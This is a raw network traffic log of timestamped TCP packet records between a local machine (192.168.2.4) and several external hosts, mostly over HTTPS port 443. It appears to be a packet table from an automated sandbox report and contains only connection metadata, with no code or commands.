Dec 10, 2024 15:09:54.241463900 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.241698980 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.241728067 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.242799997 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.242876053 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.243196964 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.243268967 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.243524075 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.243532896 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.287523031 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.299469948 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299484015 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299513102 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299520969 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299530029 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.299549103 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299562931 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.299575090 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.299596071 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.299614906 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.351771116 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.351782084 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.351823092 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.351834059 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.351841927 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.351875067 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.351875067 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.351888895 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.351918936 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.384071112 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.384116888 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.384135962 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.384154081 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.384201050 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.384202003 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.384222031 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.399961948 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.399970055 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.400022030 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.400202990 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.400218964 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.400669098 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.400679111 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.400727034 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.400913954 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.400924921 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.429315090 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.429339886 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.430423021 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.430476904 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.430521965 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.759085894 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.805434942 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.808532953 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808548927 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808566093 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808573008 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808599949 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808609962 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.808626890 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.808655977 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.808685064 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.992913008 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.992925882 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.992963076 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.992985964 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.993021011 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:54.993036985 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:54.993060112 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.069922924 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.069957972 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.070005894 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.070036888 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.070055008 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.070071936 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.170244932 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.170267105 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.170330048 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.170361996 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.170411110 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.205051899 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.205070972 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.205132961 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.205152988 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.205194950 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.226739883 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.226763964 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.226808071 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.226819992 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.226854086 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.226874113 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.247625113 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.247644901 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.247699976 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.247725964 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.247765064 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.348218918 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.348249912 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.348303080 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.348342896 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.348360062 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.348401070 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.361305952 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.361362934 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.361378908 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.361388922 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.361413002 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.361428976 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.361449957 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.361751080 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:55.361768007 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:55.626698017 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.626791954 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.627017975 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.627053976 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.627168894 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.627199888 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.627536058 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.628068924 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.628089905 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.628089905 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.628128052 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.628155947 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.628179073 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.628489017 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.628551006 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.628753901 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.628781080 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.679677963 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.679681063 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:55.679694891 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:55.725878000 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.067429066 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.067913055 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.068203926 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.068659067 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.068681002 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.071136951 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.097985029 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.098090887 CET	443	49805	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.098211050 CET	49805	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.107167959 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.107212067 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.113189936 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.113189936 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.113224983 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.119154930 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.299689054 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.348803997 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.348834991 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.351139069 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.351263046 CET	443	49804	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.351408958 CET	49804	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.353888035 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.353928089 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:56.354084015 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.354275942 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:56.354290009 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.335408926 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.335741997 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.335792065 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.336853981 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.336915970 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.337209940 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.337280989 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.337423086 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.337440014 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.374237061 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.374262094 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.374324083 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.375042915 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.375056982 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.380350113 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.598557949 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.599494934 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.599508047 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.599853992 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.600363970 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.600363970 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.600389957 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.600434065 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.646678925 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.773253918 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.773564100 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.773653984 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.773699999 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.773900032 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.774390936 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:57.774439096 CET	443	49808	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:57.774525881 CET	49808	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.038527012 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.084065914 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.084094048 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.087133884 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.087240934 CET	443	49809	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.087390900 CET	49809	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.604876041 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.605178118 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.605209112 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.606283903 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.606348038 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.606739044 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.606812000 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.606949091 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:58.606959105 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:58.660573006 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:12.819622993 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:12.819664955 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:12.819725037 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:12.820025921 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:12.820039988 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:14.513145924 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:14.513505936 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:14.513523102 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:14.513855934 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:14.514177084 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:14.514250994 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:14.568535089 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:15.246170998 CET	49724	80	192.168.2.4	23.32.238.18
Dec 10, 2024 15:10:15.365839958 CET	80	49724	23.32.238.18	192.168.2.4
Dec 10, 2024 15:10:15.365901947 CET	49724	80	192.168.2.4	23.32.238.18
Dec 10, 2024 15:10:15.470432997 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:15.470484972 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:15.470571995 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:15.471128941 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:15.471146107 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:16.869817972 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:16.870263100 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:16.870290041 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:16.870764971 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:16.871375084 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:16.871471882 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:16.871857882 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:16.871857882 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:16.871891975 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:17.758954048 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:17.759732008 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:17.759807110 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:17.759835958 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:17.803246021 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:17.953092098 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:18.005498886 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.005523920 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:18.008666039 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.008790970 CET	443	49859	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:18.008872032 CET	49859	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.041059971 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.041104078 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:18.041182995 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.041470051 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:18.041484118 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.261226892 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.309371948 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.314002037 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.314032078 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.316025972 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.316099882 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.316420078 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.316543102 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.316577911 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.316664934 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.365715027 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.365751982 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.411726952 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.767895937 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.819669962 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.819700956 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:19.866621971 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:19.960050106 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:20.005398989 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:20.005431890 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:20.007905006 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:20.008025885 CET	443	49870	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:20.008090973 CET	49870	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:24.210416079 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:24.210506916 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:24.210581064 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:25.385571003 CET	49849	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:10:25.385605097 CET	443	49849	142.250.181.100	192.168.2.4
Dec 10, 2024 15:10:29.045469999 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.098603964 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.098618984 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.149350882 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.278714895 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.334505081 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.334516048 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.335357904 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.335460901 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.335670948 CET	443	49813	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.335736990 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.335752964 CET	49813	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.338630915 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.338650942 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:29.338742971 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.338958025 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:29.338973045 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.560225964 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.600898027 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:30.812897921 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:30.812925100 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.814261913 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.814332962 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:30.825695992 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:30.825867891 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.829216957 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:30.829232931 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:10:30.881957054 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:10:40.937613964 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:40.937650919 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:40.937716961 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:40.938162088 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:40.938169956 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.314829111 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.315047979 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.315077066 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.316234112 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.316317081 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.317456007 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.317533970 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.317630053 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.317652941 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.371094942 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.837625980 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.837656975 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.837665081 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.837734938 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:42.837747097 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.837775946 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.856873035 CET	49996	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:42.856906891 CET	443	49996	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:43.109172106 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:43.109216928 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:43.109360933 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:43.109780073 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:43.109792948 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:43.327349901 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:43.327399015 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:43.327840090 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:43.328280926 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:43.328298092 CET	443	50005	63.140.62.27	192.168.2.4
